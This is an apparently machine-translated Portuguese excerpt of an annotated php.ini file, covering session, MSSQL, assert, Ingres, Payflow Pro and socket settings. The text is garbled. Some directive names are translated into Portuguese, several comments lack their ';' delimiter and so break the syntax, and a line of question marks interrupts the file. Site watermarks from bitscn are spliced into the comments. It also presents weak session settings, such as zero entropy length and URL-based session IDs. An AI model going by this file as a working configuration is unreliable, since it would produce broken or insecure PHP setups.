session.auto_start = 0 Inicializa a sessão quando a solicitação é iniciada
session.cookie_lifetime = 0 é o tempo de armazenamento do cookie em segundos,
; ou 0, até que o navegador seja reiniciado
session.cookie_path = / ; Caminho válido do cookie
session.cookie_domain = ; Domínio válido do cookie
session.serialize_handler = php Controlador usado para conectar dados
; php é o controlador padrão para PHP.
session.gc_probability = 1 ; processos de 'coleta de lixo' por porcentagem
; Possibilidade de iniciar sempre que a sessão for inicializada. Gerenciador de rede bitscn_com.
session.gc_maxlifetime = 1440 ; Após o número de segundos indicado por este número, os dados salvos serão considerados
; 'Fragmento (lixo)' e limpo pelo processo gc.
session.referer_check = ; Verifique referenciadores HTTP para invalidar IDs adicionais incluídos em URLs
session.entropy_length = 0; Quantos bytes ler do arquivo
session.entropy_file = ; Especifique aqui para criar o ID da sessão
;sessão.entropy_length = 16
;sessão.entropy_file = /dev/urandom
session.cache_limiter = nocache Defina como {nocache, private, public} para determinar o HTTP
; Problema de cache
session.cache_expire = 180 ; O documento expira após n minutos
session.use_trans_sid = 1 ; Use suporte SID transicional, se habilitado em tempo de compilação
; --enable-trans-sid
url_rewriter.tags = "a=href,area=href,frame=src,input=src,form=fakeentry"
[MSSQL]
;extensão=php_mssql.dll
mssql.allow_persistent = On ; Permitir ou desabilitar conexões persistentes
mssql.max_persistent = -1; Número máximo de conexões persistentes -1 significa ilimitado.
mssql.max_links = -1; O número máximo de conexões (persistentes e não persistentes -1 representa gerenciamento de rede ilimitado u.bitsCN.com).
mssql.min_error_severity = 10 ; Gravidade mínima dos erros exibidos
mssql.min_message_severity = 10 ;
mssql.compatability_mode
= Off ; Modo compatível com versões mais antigas do PHP 3.0.
? ? ? ? ?
;assert.active = ativado; assert(expr); ativo por padrão
;assert.warning = On ; emite um aviso PHP para cada asserção com falha.
;assert.bail = Off ; não resgata por padrão.
;assert.callback = 0 ; função do usuário a ser chamada se uma asserção falhar.
;assert.quiet_eval = 0 ; eval a expressão com error_reporting() atual definido como true se você quiser error_reporting(0) em torno de eval()
.
ii.allow_persistent = On ; Permitir ou desabilitar conexões persistentes
ii.max_persistent = -1; O número máximo de conexões persistentes -1 significa ilimitado.
ii.max_links = -1 ; Número máximo de conexões (persistente e não persistente -1 significa ilimitado).
ii.default_database = ; banco de dados padrão (formato: [node_id::]dbname[/srv_class]
ii.default_user = ;Usuário padrão
ii.default_password = ; Senha padrão Download de gerenciamento de rede dl.bitscn.com
[Verisign Payflow Pro]
pfpro.defaulthost = "test.signio.com";
pfpro.defaultport = 443; Porta padrão para conexão
pfpro.defaulttimeout = 30 ; Tempo limite padrão em segundos
; pfpro.proxyaddress = ;
; pfpro.proxyport = ;
; pfpro.proxylogon = ; Login de proxy padrão (nome de usuário de login)
; pfpro.proxypassword = ; Senha do proxy padrão
[Sockets]
sockets.use_system_read = On; Use a função read() do sistema em vez do pacote php_read()
; Variáveis Locais: (variáveis locais)
; largura da guia: 4
; Fim: